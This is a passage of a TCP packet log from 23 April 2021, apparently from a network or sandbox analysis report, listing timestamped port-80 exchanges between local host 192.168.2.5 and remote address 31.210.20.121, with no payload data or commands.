Apr 23, 2021 11:07:49.164091110 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164103031 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164113045 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164117098 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164138079 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164141893 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164160967 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164187908 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164196014 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164212942 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164216995 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164238930 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164251089 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164263010 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164288044 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164299965 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164309978 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164310932 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164335012 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164356947 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164370060 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164376020 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164381027 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164382935 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164408922 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164421082 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164432049 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164437056 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164455891 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164479971 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164489031 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164505005 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164519072 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164525032 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164529085 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164554119 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164561033 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164568901 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164580107 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164606094 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164618015 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164628983 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164632082 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164653063 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164661884 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164678097 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164688110 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164695024 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164701939 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164726973 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164736986 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164750099 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164752960 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164776087 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164778948 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164803028 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164814949 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164828062 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164843082 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164851904 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164875984 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164897919 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164921045 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164933920 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164942026 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164943933 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164947033 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164951086 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164956093 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164968967 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.164971113 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.164994001 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.165009975 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.165018082 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.165040970 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.165052891 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.165064096 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.165066957 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.165086985 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.165111065 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.165122032 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.165132999 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.165133953 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.165158987 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.165182114 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.165190935 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.165219069 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.165230989 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.165245056 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.165247917 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.165268898 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.165301085 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.165353060 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.208039045 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.208082914 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.208096981 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.208298922 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.208329916 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.214816093 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.214854956 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.214880943 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.214903116 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.214930058 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.214931011 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.214953899 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.214957952 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.214978933 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215003014 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215003967 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215028048 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215051889 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215075016 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215075016 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215099096 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215123892 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215143919 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215148926 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215168953 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215172052 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215192080 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215197086 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215221882 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215224981 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215245962 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215265989 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215270042 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215293884 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215318918 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215320110 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215339899 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215346098 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215370893 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215387106 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215395927 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215420008 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215421915 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215424061 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215445995 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215461016 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215470076 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215493917 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215509892 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215519905 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215538025 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215545893 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215569973 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215586901 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215591908 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215609074 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215615988 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215640068 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215660095 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215663910 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215684891 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215687037 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215703964 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215714931 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215735912 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215739012 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215764999 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215780973 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215789080 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215806961 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215814114 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215837002 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215840101 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215859890 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215879917 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215883970 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215909004 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215929031 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215936899 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215960026 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215977907 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.215981007 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.215984106 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.216005087 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.216027975 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.216043949 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.216049910 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.216067076 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.216073990 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.216097116 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.216099977 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.216124058 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.216140985 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.216145992 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.216164112 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.216171026 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.216224909 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.216229916 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.216671944 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.216701031 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.216782093 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.216785908 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.216790915 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.216869116 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.216893911 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.216947079 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.216972113 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.216999054 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217118979 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217145920 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.217161894 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217184067 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.217204094 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217252016 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.217328072 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217329979 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.217360020 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217379093 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.217473030 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217492104 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.217504978 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217545033 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.217618942 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217645884 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.217645884 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217674017 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217698097 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.217745066 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.217747927 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.217756033 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217797995 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217824936 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.217848063 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217870951 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217884064 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.217895031 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217916965 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.217919111 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217942953 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217967987 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.217967987 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.217993021 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218007088 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218010902 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218012094 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218035936 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218059063 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218081951 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218106031 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218127966 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218185902 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218209982 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218236923 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218261003 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218280077 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218282938 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218286037 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218308926 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218333960 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218355894 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218377113 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218400955 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218425035 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218429089 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218436003 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218446970 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218447924 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218473911 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218499899 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218499899 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218522072 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218544960 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218544960 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218569040 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218590975 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218591928 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218616009 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218641043 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218641996 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218667984 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218667984 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218692064 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218709946 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218715906 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218733072 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218739033 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218763113 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218780041 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218786001 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218822002 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218843937 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218848944 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218871117 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218872070 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218895912 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218899965 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218925953 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218944073 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218949080 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218966961 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.218971968 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.218995094 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.219012976 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.219017029 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.219039917 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.219058037 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.219063044 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.219089031 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.219106913 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.219113111 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.219130993 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.219136000 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.219218969 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.219223022 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.257555008 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.257760048 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.260126114 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.261029959 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.265047073 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.265072107 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.265089989 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.265151024 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.265177011 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.265202045 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.265223026 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.265245914 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.265244961 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.265270948 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.265289068 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.265294075 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.265314102 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.265374899 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.427234888 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.478001118 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.478043079 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.478065968 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.478089094 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.478111029 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:49.478120089 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:49.478137970 CEST	80	49703	31.210.20.121	192.168.2.5
